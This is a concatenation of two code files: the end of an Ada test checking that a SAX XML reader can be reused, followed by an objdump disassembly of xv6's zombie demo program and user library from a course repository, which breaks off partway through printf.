-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- Initial implementation of SAX reader was unable to be reused several times
-- to read different documents.
------------------------------------------------------------------------------
with Ada.Command_Line;
with League.Strings;
with XML.SAX.Simple_Readers;
with XML.SAX.String_Input_Sources;
with Put_Line;
with Read_File;
with SAX_Events_Writers;
procedure Test_20 is
use type League.Strings.Universal_String;
Source : aliased XML.SAX.String_Input_Sources.String_Input_Source;
Reader : aliased XML.SAX.Simple_Readers.Simple_Reader;
Writer : aliased SAX_Events_Writers.SAX_Events_Writer;
Root : constant String := Ada.Command_Line.Argument (1);
XML1 : constant League.Strings.Universal_String
:= Read_File (Root & "20-1.xml");
XML2 : constant League.Strings.Universal_String
:= Read_File (Root & "20-2.xml");
Expected : constant League.Strings.Universal_String
:= Read_File (Root & "20-expected.xml");
begin
Reader.Set_Content_Handler (Writer'Unchecked_Access);
Reader.Set_Entity_Resolver (Writer'Unchecked_Access);
Reader.Set_Error_Handler (Writer'Unchecked_Access);
-- Parse first XML document.
Source.Set_String (XML1);
Reader.Parse (Source'Access);
-- Parse second XML document.
Source.Set_String (XML2);
Reader.Parse (Source'Access);
-- Check sequence of SAX events.
Writer.Done;
if Writer.Text /= Expected then
Put_Line ("Expected: '" & Expected & ''');
Put_Line ("Actual : '" & Writer.Text & ''');
raise Program_Error;
end if;
end Test_20;
|
zombie.asm | TRamirez97/CSE460-HW02 | 0 | 246103 | <reponame>TRamirez97/CSE460-HW02
_zombie: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
if(fork() > 0)
11: e8 65 02 00 00 call 27b <fork>
16: 85 c0 test %eax,%eax
18: 7e 0d jle 27 <main+0x27>
sleep(5); // Let child exit before parent.
1a: 83 ec 0c sub $0xc,%esp
1d: 6a 05 push $0x5
1f: e8 ef 02 00 00 call 313 <sleep>
24: 83 c4 10 add $0x10,%esp
exit();
27: e8 57 02 00 00 call 283 <exit>
2c: 66 90 xchg %ax,%ax
2e: 66 90 xchg %ax,%ax
00000030 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
30: 55 push %ebp
char *os;
os = s;
while((*s++ = *t++) != 0)
31: 31 c0 xor %eax,%eax
{
33: 89 e5 mov %esp,%ebp
35: 53 push %ebx
36: 8b 4d 08 mov 0x8(%ebp),%ecx
39: 8b 5d 0c mov 0xc(%ebp),%ebx
3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while((*s++ = *t++) != 0)
40: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
44: 88 14 01 mov %dl,(%ecx,%eax,1)
47: 83 c0 01 add $0x1,%eax
4a: 84 d2 test %dl,%dl
4c: 75 f2 jne 40 <strcpy+0x10>
;
return os;
}
4e: 89 c8 mov %ecx,%eax
50: 5b pop %ebx
51: 5d pop %ebp
52: c3 ret
53: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000060 <strcmp>:
int
strcmp(const char *p, const char *q)
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 53 push %ebx
64: 8b 4d 08 mov 0x8(%ebp),%ecx
67: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
6a: 0f b6 01 movzbl (%ecx),%eax
6d: 0f b6 1a movzbl (%edx),%ebx
70: 84 c0 test %al,%al
72: 75 1d jne 91 <strcmp+0x31>
74: eb 2a jmp a0 <strcmp+0x40>
76: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
7d: 8d 76 00 lea 0x0(%esi),%esi
80: 0f b6 41 01 movzbl 0x1(%ecx),%eax
p++, q++;
84: 83 c1 01 add $0x1,%ecx
87: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
8a: 0f b6 1a movzbl (%edx),%ebx
8d: 84 c0 test %al,%al
8f: 74 0f je a0 <strcmp+0x40>
91: 38 d8 cmp %bl,%al
93: 74 eb je 80 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
95: 29 d8 sub %ebx,%eax
}
97: 5b pop %ebx
98: 5d pop %ebp
99: c3 ret
9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
a0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
a2: 29 d8 sub %ebx,%eax
}
a4: 5b pop %ebx
a5: 5d pop %ebp
a6: c3 ret
a7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
ae: 66 90 xchg %ax,%ax
000000b0 <strlen>:
uint
strlen(char *s)
{
b0: 55 push %ebp
b1: 89 e5 mov %esp,%ebp
b3: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
b6: 80 3a 00 cmpb $0x0,(%edx)
b9: 74 15 je d0 <strlen+0x20>
bb: 31 c0 xor %eax,%eax
bd: 8d 76 00 lea 0x0(%esi),%esi
c0: 83 c0 01 add $0x1,%eax
c3: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
c7: 89 c1 mov %eax,%ecx
c9: 75 f5 jne c0 <strlen+0x10>
;
return n;
}
cb: 89 c8 mov %ecx,%eax
cd: 5d pop %ebp
ce: c3 ret
cf: 90 nop
for(n = 0; s[n]; n++)
d0: 31 c9 xor %ecx,%ecx
}
d2: 5d pop %ebp
d3: 89 c8 mov %ecx,%eax
d5: c3 ret
d6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
dd: 8d 76 00 lea 0x0(%esi),%esi
000000e0 <memset>:
void*
memset(void *dst, int c, uint n)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 57 push %edi
e4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
e7: 8b 4d 10 mov 0x10(%ebp),%ecx
ea: 8b 45 0c mov 0xc(%ebp),%eax
ed: 89 d7 mov %edx,%edi
ef: fc cld
f0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
f2: 89 d0 mov %edx,%eax
f4: 5f pop %edi
f5: 5d pop %ebp
f6: c3 ret
f7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
fe: 66 90 xchg %ax,%ax
00000100 <strchr>:
char*
strchr(const char *s, char c)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 8b 45 08 mov 0x8(%ebp),%eax
106: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
10a: 0f b6 10 movzbl (%eax),%edx
10d: 84 d2 test %dl,%dl
10f: 75 12 jne 123 <strchr+0x23>
111: eb 1d jmp 130 <strchr+0x30>
113: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
117: 90 nop
118: 0f b6 50 01 movzbl 0x1(%eax),%edx
11c: 83 c0 01 add $0x1,%eax
11f: 84 d2 test %dl,%dl
121: 74 0d je 130 <strchr+0x30>
if(*s == c)
123: 38 d1 cmp %dl,%cl
125: 75 f1 jne 118 <strchr+0x18>
return (char*)s;
return 0;
}
127: 5d pop %ebp
128: c3 ret
129: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
130: 31 c0 xor %eax,%eax
}
132: 5d pop %ebp
133: c3 ret
134: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
13b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
13f: 90 nop
00000140 <gets>:
char*
gets(char *buf, int max)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 57 push %edi
144: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
145: 31 f6 xor %esi,%esi
{
147: 53 push %ebx
148: 89 f3 mov %esi,%ebx
14a: 83 ec 1c sub $0x1c,%esp
14d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
150: eb 2f jmp 181 <gets+0x41>
152: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
158: 83 ec 04 sub $0x4,%esp
15b: 8d 45 e7 lea -0x19(%ebp),%eax
15e: 6a 01 push $0x1
160: 50 push %eax
161: 6a 00 push $0x0
163: e8 33 01 00 00 call 29b <read>
if(cc < 1)
168: 83 c4 10 add $0x10,%esp
16b: 85 c0 test %eax,%eax
16d: 7e 1c jle 18b <gets+0x4b>
break;
buf[i++] = c;
16f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
173: 83 c7 01 add $0x1,%edi
176: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
179: 3c 0a cmp $0xa,%al
17b: 74 23 je 1a0 <gets+0x60>
17d: 3c 0d cmp $0xd,%al
17f: 74 1f je 1a0 <gets+0x60>
for(i=0; i+1 < max; ){
181: 83 c3 01 add $0x1,%ebx
184: 89 fe mov %edi,%esi
186: 3b 5d 0c cmp 0xc(%ebp),%ebx
189: 7c cd jl 158 <gets+0x18>
18b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
18d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
190: c6 03 00 movb $0x0,(%ebx)
}
193: 8d 65 f4 lea -0xc(%ebp),%esp
196: 5b pop %ebx
197: 5e pop %esi
198: 5f pop %edi
199: 5d pop %ebp
19a: c3 ret
19b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
19f: 90 nop
1a0: 8b 75 08 mov 0x8(%ebp),%esi
1a3: 8b 45 08 mov 0x8(%ebp),%eax
1a6: 01 de add %ebx,%esi
1a8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1aa: c6 03 00 movb $0x0,(%ebx)
}
1ad: 8d 65 f4 lea -0xc(%ebp),%esp
1b0: 5b pop %ebx
1b1: 5e pop %esi
1b2: 5f pop %edi
1b3: 5d pop %ebp
1b4: c3 ret
1b5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000001c0 <stat>:
int
stat(char *n, struct stat *st)
{
1c0: 55 push %ebp
1c1: 89 e5 mov %esp,%ebp
1c3: 56 push %esi
1c4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1c5: 83 ec 08 sub $0x8,%esp
1c8: 6a 00 push $0x0
1ca: ff 75 08 pushl 0x8(%ebp)
1cd: e8 f1 00 00 00 call 2c3 <open>
if(fd < 0)
1d2: 83 c4 10 add $0x10,%esp
1d5: 85 c0 test %eax,%eax
1d7: 78 27 js 200 <stat+0x40>
return -1;
r = fstat(fd, st);
1d9: 83 ec 08 sub $0x8,%esp
1dc: ff 75 0c pushl 0xc(%ebp)
1df: 89 c3 mov %eax,%ebx
1e1: 50 push %eax
1e2: e8 f4 00 00 00 call 2db <fstat>
close(fd);
1e7: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
1ea: 89 c6 mov %eax,%esi
close(fd);
1ec: e8 ba 00 00 00 call 2ab <close>
return r;
1f1: 83 c4 10 add $0x10,%esp
}
1f4: 8d 65 f8 lea -0x8(%ebp),%esp
1f7: 89 f0 mov %esi,%eax
1f9: 5b pop %ebx
1fa: 5e pop %esi
1fb: 5d pop %ebp
1fc: c3 ret
1fd: 8d 76 00 lea 0x0(%esi),%esi
return -1;
200: be ff ff ff ff mov $0xffffffff,%esi
205: eb ed jmp 1f4 <stat+0x34>
207: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
20e: 66 90 xchg %ax,%ax
00000210 <atoi>:
int
atoi(const char *s)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 53 push %ebx
214: 8b 55 08 mov 0x8(%ebp),%edx
int n;
n = 0;
while('0' <= *s && *s <= '9')
217: 0f be 02 movsbl (%edx),%eax
21a: 8d 48 d0 lea -0x30(%eax),%ecx
21d: 80 f9 09 cmp $0x9,%cl
n = 0;
220: b9 00 00 00 00 mov $0x0,%ecx
while('0' <= *s && *s <= '9')
225: 77 1e ja 245 <atoi+0x35>
227: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
22e: 66 90 xchg %ax,%ax
n = n*10 + *s++ - '0';
230: 83 c2 01 add $0x1,%edx
233: 8d 0c 89 lea (%ecx,%ecx,4),%ecx
236: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx
while('0' <= *s && *s <= '9')
23a: 0f be 02 movsbl (%edx),%eax
23d: 8d 58 d0 lea -0x30(%eax),%ebx
240: 80 fb 09 cmp $0x9,%bl
243: 76 eb jbe 230 <atoi+0x20>
return n;
}
245: 89 c8 mov %ecx,%eax
247: 5b pop %ebx
248: 5d pop %ebp
249: c3 ret
24a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000250 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 57 push %edi
254: 8b 45 10 mov 0x10(%ebp),%eax
257: 8b 55 08 mov 0x8(%ebp),%edx
25a: 56 push %esi
25b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
25e: 85 c0 test %eax,%eax
260: 7e 13 jle 275 <memmove+0x25>
262: 01 d0 add %edx,%eax
dst = vdst;
264: 89 d7 mov %edx,%edi
266: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
26d: 8d 76 00 lea 0x0(%esi),%esi
*dst++ = *src++;
270: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
271: 39 f8 cmp %edi,%eax
273: 75 fb jne 270 <memmove+0x20>
return vdst;
}
275: 5e pop %esi
276: 89 d0 mov %edx,%eax
278: 5f pop %edi
279: 5d pop %ebp
27a: c3 ret
0000027b <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
27b: b8 01 00 00 00 mov $0x1,%eax
280: cd 40 int $0x40
282: c3 ret
00000283 <exit>:
SYSCALL(exit)
283: b8 02 00 00 00 mov $0x2,%eax
288: cd 40 int $0x40
28a: c3 ret
0000028b <wait>:
SYSCALL(wait)
28b: b8 03 00 00 00 mov $0x3,%eax
290: cd 40 int $0x40
292: c3 ret
00000293 <pipe>:
SYSCALL(pipe)
293: b8 04 00 00 00 mov $0x4,%eax
298: cd 40 int $0x40
29a: c3 ret
0000029b <read>:
SYSCALL(read)
29b: b8 05 00 00 00 mov $0x5,%eax
2a0: cd 40 int $0x40
2a2: c3 ret
000002a3 <write>:
SYSCALL(write)
2a3: b8 10 00 00 00 mov $0x10,%eax
2a8: cd 40 int $0x40
2aa: c3 ret
000002ab <close>:
SYSCALL(close)
2ab: b8 15 00 00 00 mov $0x15,%eax
2b0: cd 40 int $0x40
2b2: c3 ret
000002b3 <kill>:
SYSCALL(kill)
2b3: b8 06 00 00 00 mov $0x6,%eax
2b8: cd 40 int $0x40
2ba: c3 ret
000002bb <exec>:
SYSCALL(exec)
2bb: b8 07 00 00 00 mov $0x7,%eax
2c0: cd 40 int $0x40
2c2: c3 ret
000002c3 <open>:
SYSCALL(open)
2c3: b8 0f 00 00 00 mov $0xf,%eax
2c8: cd 40 int $0x40
2ca: c3 ret
000002cb <mknod>:
SYSCALL(mknod)
2cb: b8 11 00 00 00 mov $0x11,%eax
2d0: cd 40 int $0x40
2d2: c3 ret
000002d3 <unlink>:
SYSCALL(unlink)
2d3: b8 12 00 00 00 mov $0x12,%eax
2d8: cd 40 int $0x40
2da: c3 ret
000002db <fstat>:
SYSCALL(fstat)
2db: b8 08 00 00 00 mov $0x8,%eax
2e0: cd 40 int $0x40
2e2: c3 ret
000002e3 <link>:
SYSCALL(link)
2e3: b8 13 00 00 00 mov $0x13,%eax
2e8: cd 40 int $0x40
2ea: c3 ret
000002eb <mkdir>:
SYSCALL(mkdir)
2eb: b8 14 00 00 00 mov $0x14,%eax
2f0: cd 40 int $0x40
2f2: c3 ret
000002f3 <chdir>:
SYSCALL(chdir)
2f3: b8 09 00 00 00 mov $0x9,%eax
2f8: cd 40 int $0x40
2fa: c3 ret
000002fb <dup>:
SYSCALL(dup)
2fb: b8 0a 00 00 00 mov $0xa,%eax
300: cd 40 int $0x40
302: c3 ret
00000303 <getpid>:
SYSCALL(getpid)
303: b8 0b 00 00 00 mov $0xb,%eax
308: cd 40 int $0x40
30a: c3 ret
0000030b <sbrk>:
SYSCALL(sbrk)
30b: b8 0c 00 00 00 mov $0xc,%eax
310: cd 40 int $0x40
312: c3 ret
00000313 <sleep>:
SYSCALL(sleep)
313: b8 0d 00 00 00 mov $0xd,%eax
318: cd 40 int $0x40
31a: c3 ret
0000031b <uptime>:
SYSCALL(uptime)
31b: b8 0e 00 00 00 mov $0xe,%eax
320: cd 40 int $0x40
322: c3 ret
00000323 <date>:
SYSCALL(date) // date system call added for part 1
323: b8 16 00 00 00 mov $0x16,%eax
328: cd 40 int $0x40
32a: c3 ret
0000032b <getuid>:
SYSCALL(getuid) //Gets the UID of a process
32b: b8 17 00 00 00 mov $0x17,%eax
330: cd 40 int $0x40
332: c3 ret
00000333 <getgid>:
SYSCALL(getgid) //Gets the GID of a process
333: b8 18 00 00 00 mov $0x18,%eax
338: cd 40 int $0x40
33a: c3 ret
0000033b <getppid>:
SYSCALL(getppid) //Gets the PPID of a process
33b: b8 19 00 00 00 mov $0x19,%eax
340: cd 40 int $0x40
342: c3 ret
00000343 <setuid>:
SYSCALL(setuid) //Sets a new UID for a process
343: b8 1a 00 00 00 mov $0x1a,%eax
348: cd 40 int $0x40
34a: c3 ret
0000034b <setgid>:
SYSCALL(setgid) //Sets a new GID for a process
34b: b8 1b 00 00 00 mov $0x1b,%eax
350: cd 40 int $0x40
352: c3 ret
00000353 <cps>:
SYSCALL(cps)
353: b8 1c 00 00 00 mov $0x1c,%eax
358: cd 40 int $0x40
35a: c3 ret
35b: 66 90 xchg %ax,%ax
35d: 66 90 xchg %ax,%ax
35f: 90 nop
00000360 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 57 push %edi
364: 56 push %esi
365: 53 push %ebx
366: 83 ec 3c sub $0x3c,%esp
369: 89 4d c4 mov %ecx,-0x3c(%ebp)
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
36c: 89 d1 mov %edx,%ecx
{
36e: 89 45 b8 mov %eax,-0x48(%ebp)
if(sgn && xx < 0){
371: 85 d2 test %edx,%edx
373: 0f 89 7f 00 00 00 jns 3f8 <printint+0x98>
379: f6 45 08 01 testb $0x1,0x8(%ebp)
37d: 74 79 je 3f8 <printint+0x98>
neg = 1;
37f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp)
x = -xx;
386: f7 d9 neg %ecx
} else {
x = xx;
}
i = 0;
388: 31 db xor %ebx,%ebx
38a: 8d 75 d7 lea -0x29(%ebp),%esi
38d: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
390: 89 c8 mov %ecx,%eax
392: 31 d2 xor %edx,%edx
394: 89 cf mov %ecx,%edi
396: f7 75 c4 divl -0x3c(%ebp)
399: 0f b6 92 80 07 00 00 movzbl 0x780(%edx),%edx
3a0: 89 45 c0 mov %eax,-0x40(%ebp)
3a3: 89 d8 mov %ebx,%eax
3a5: 8d 5b 01 lea 0x1(%ebx),%ebx
}while((x /= base) != 0);
3a8: 8b 4d c0 mov -0x40(%ebp),%ecx
buf[i++] = digits[x % base];
3ab: 88 14 1e mov %dl,(%esi,%ebx,1)
}while((x /= base) != 0);
3ae: 39 7d c4 cmp %edi,-0x3c(%ebp)
3b1: 76 dd jbe 390 <printint+0x30>
if(neg)
3b3: 8b 4d bc mov -0x44(%ebp),%ecx
3b6: 85 c9 test %ecx,%ecx
3b8: 74 0c je 3c6 <printint+0x66>
buf[i++] = '-';
3ba: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1)
buf[i++] = digits[x % base];
3bf: 89 d8 mov %ebx,%eax
buf[i++] = '-';
3c1: ba 2d 00 00 00 mov $0x2d,%edx
while(--i >= 0)
3c6: 8b 7d b8 mov -0x48(%ebp),%edi
3c9: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx
3cd: eb 07 jmp 3d6 <printint+0x76>
3cf: 90 nop
3d0: 0f b6 13 movzbl (%ebx),%edx
3d3: 83 eb 01 sub $0x1,%ebx
write(fd, &c, 1);
3d6: 83 ec 04 sub $0x4,%esp
3d9: 88 55 d7 mov %dl,-0x29(%ebp)
3dc: 6a 01 push $0x1
3de: 56 push %esi
3df: 57 push %edi
3e0: e8 be fe ff ff call 2a3 <write>
while(--i >= 0)
3e5: 83 c4 10 add $0x10,%esp
3e8: 39 de cmp %ebx,%esi
3ea: 75 e4 jne 3d0 <printint+0x70>
putc(fd, buf[i]);
}
3ec: 8d 65 f4 lea -0xc(%ebp),%esp
3ef: 5b pop %ebx
3f0: 5e pop %esi
3f1: 5f pop %edi
3f2: 5d pop %ebp
3f3: c3 ret
3f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
3f8: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp)
3ff: eb 87 jmp 388 <printint+0x28>
401: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
408: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
40f: 90 nop
00000410 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
410: 55 push %ebp
411: 89 e5 mov %esp,%ebp
413: 57 push %edi
414: 56 push %esi
415: 53 push %ebx
416: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
419: 8b 75 0c mov 0xc(%ebp),%esi
41c: 0f b6 1e movzbl (%esi),%ebx
41f: 84 db test %bl,%bl
421: 0f 84 b8 00 00 00 je 4df <printf+0xcf>
ap = (uint*)(void*)&fmt + 1;
427: 8d 45 10 lea 0x10(%ebp),%eax
42a: 83 c6 01 add $0x1,%esi
write(fd, &c, 1);
42d: 8d 7d e7 lea -0x19(%ebp),%edi
state = 0;
430: 31 d2 xor %edx,%edx
ap = (uint*)(void*)&fmt + 1;
432: 89 45 d0 mov %eax,-0x30(%ebp)
435: eb 37 jmp 46e <printf+0x5e>
437: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
43e: 66 90 xchg %ax,%ax
440: 89 55 d4 mov %edx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
443: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
448: 83 f8 25 cmp $0x25,%eax
44b: 74 17 je 464 <printf+0x54>
write(fd, &c, 1);
44d: 83 ec 04 sub $0x4,%esp
450: 88 5d e7 mov %bl,-0x19(%ebp)
453: 6a 01 push $0x1
455: 57 push %edi
456: ff 75 08 pushl 0x8(%ebp)
459: e8 45 fe ff ff call 2a3 <write>
45e: 8b 55 d4 mov -0x2c(%ebp),%edx
} else {
putc(fd, c);
461: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
464: 0f b6 1e movzbl (%esi),%ebx
467: 83 c6 01 add $0x1,%esi
46a: 84 db test %bl,%bl
46c: 74 71 je 4df <printf+0xcf>
c = fmt[i] & 0xff;
46e: 0f be cb movsbl %bl,%ecx
471: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
474: 85 d2 test %edx,%edx
476: 74 c8 je 440 <printf+0x30>
}
} else if(state == '%'){
478: 83 fa 25 cmp $0x25,%edx
47b: 75 e7 jne 464 <printf+0x54>
if(c == 'd'){
47d: 83 f8 64 cmp $0x64,%eax
480: 0f 84 9a 00 00 00 je 520 <printf+0x110>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
486: 81 e1 f7 00 00 00 and $0xf7,%ecx
48c: 83 f9 70 cmp $0x70,%ecx
48f: 74 5f je 4f0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
491: 83 f8 73 cmp $0x73,%eax
494: 0f 84 d6 00 00 00 je 570 <printf+0x160>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
49a: 83 f8 63 cmp $0x63,%eax
49d: 0f 84 8d 00 00 00 je 530 <printf+0x120>
putc(fd, *ap);
ap++;
} else if(c == '%'){
4a3: 83 f8 25 cmp $0x25,%eax
4a6: 0f 84 b4 00 00 00 je 560 <printf+0x150>
write(fd, &c, 1);
4ac: 83 ec 04 sub $0x4,%esp
4af: c6 45 e7 25 movb $0x25,-0x19(%ebp)
4b3: 6a 01 push $0x1
4b5: 57 push %edi
4b6: ff 75 08 pushl 0x8(%ebp)
4b9: e8 e5 fd ff ff call 2a3 <write>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
4be: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
4c1: 83 c4 0c add $0xc,%esp
4c4: 6a 01 push $0x1
4c6: 83 c6 01 add $0x1,%esi
4c9: 57 push %edi
4ca: ff 75 08 pushl 0x8(%ebp)
4cd: e8 d1 fd ff ff call 2a3 <write>
for(i = 0; fmt[i]; i++){
4d2: 0f b6 5e ff movzbl -0x1(%esi),%ebx
putc(fd, c);
4d6: 83 c4 10 add $0x10,%esp
}
state = 0;
4d9: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
4db: 84 db test %bl,%bl
4dd: 75 8f jne 46e <printf+0x5e>
}
}
}
4df: 8d 65 f4 lea -0xc(%ebp),%esp
4e2: 5b pop %ebx
4e3: 5e pop %esi
4e4: 5f pop %edi
4e5: 5d pop %ebp
4e6: c3 ret
4e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4ee: 66 90 xchg %ax,%ax
printint(fd, *ap, 16, 0);
4f0: 83 ec 0c sub $0xc,%esp
4f3: b9 10 00 00 00 mov $0x10,%ecx
4f8: 6a 00 push $0x0
4fa: 8b 5d d0 mov -0x30(%ebp),%ebx
4fd: 8b 45 08 mov 0x8(%ebp),%eax
500: 8b 13 mov (%ebx),%edx
502: e8 59 fe ff ff call 360 <printint>
ap++;
507: 89 d8 mov %ebx,%eax
509: 83 c4 10 add $0x10,%esp
state = 0;
50c: 31 d2 xor %edx,%edx
ap++;
50e: 83 c0 04 add $0x4,%eax
511: 89 45 d0 mov %eax,-0x30(%ebp)
514: e9 4b ff ff ff jmp 464 <printf+0x54>
519: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 10, 1);
520: 83 ec 0c sub $0xc,%esp
523: b9 0a 00 00 00 mov $0xa,%ecx
528: 6a 01 push $0x1
52a: eb ce jmp 4fa <printf+0xea>
52c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, *ap);
530: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
533: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
536: 8b 03 mov (%ebx),%eax
write(fd, &c, 1);
538: 6a 01 push $0x1
ap++;
53a: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
53d: 57 push %edi
53e: ff 75 08 pushl 0x8(%ebp)
putc(fd, *ap);
541: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
544: e8 5a fd ff ff call 2a3 <write>
ap++;
549: 89 5d d0 mov %ebx,-0x30(%ebp)
54c: 83 c4 10 add $0x10,%esp
state = 0;
54f: 31 d2 xor %edx,%edx
551: e9 0e ff ff ff jmp 464 <printf+0x54>
556: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
55d: 8d 76 00 lea 0x0(%esi),%esi
putc(fd, c);
560: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
563: 83 ec 04 sub $0x4,%esp
566: e9 59 ff ff ff jmp 4c4 <printf+0xb4>
56b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
56f: 90 nop
s = (char*)*ap;
570: 8b 45 d0 mov -0x30(%ebp),%eax
573: 8b 18 mov (%eax),%ebx
ap++;
575: 83 c0 04 add $0x4,%eax
578: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
57b: 85 db test %ebx,%ebx
57d: 74 17 je 596 <printf+0x186>
while(*s != 0){
57f: 0f b6 03 movzbl (%ebx),%eax
state = 0;
582: 31 d2 xor %edx,%edx
while(*s != 0){
584: 84 c0 test %al,%al
586: 0f 84 d8 fe ff ff je 464 <printf+0x54>
58c: 89 75 d4 mov %esi,-0x2c(%ebp)
58f: 89 de mov %ebx,%esi
591: 8b 5d 08 mov 0x8(%ebp),%ebx
594: eb 1a jmp 5b0 <printf+0x1a0>
s = "(null)";
596: bb 78 07 00 00 mov $0x778,%ebx
while(*s != 0){
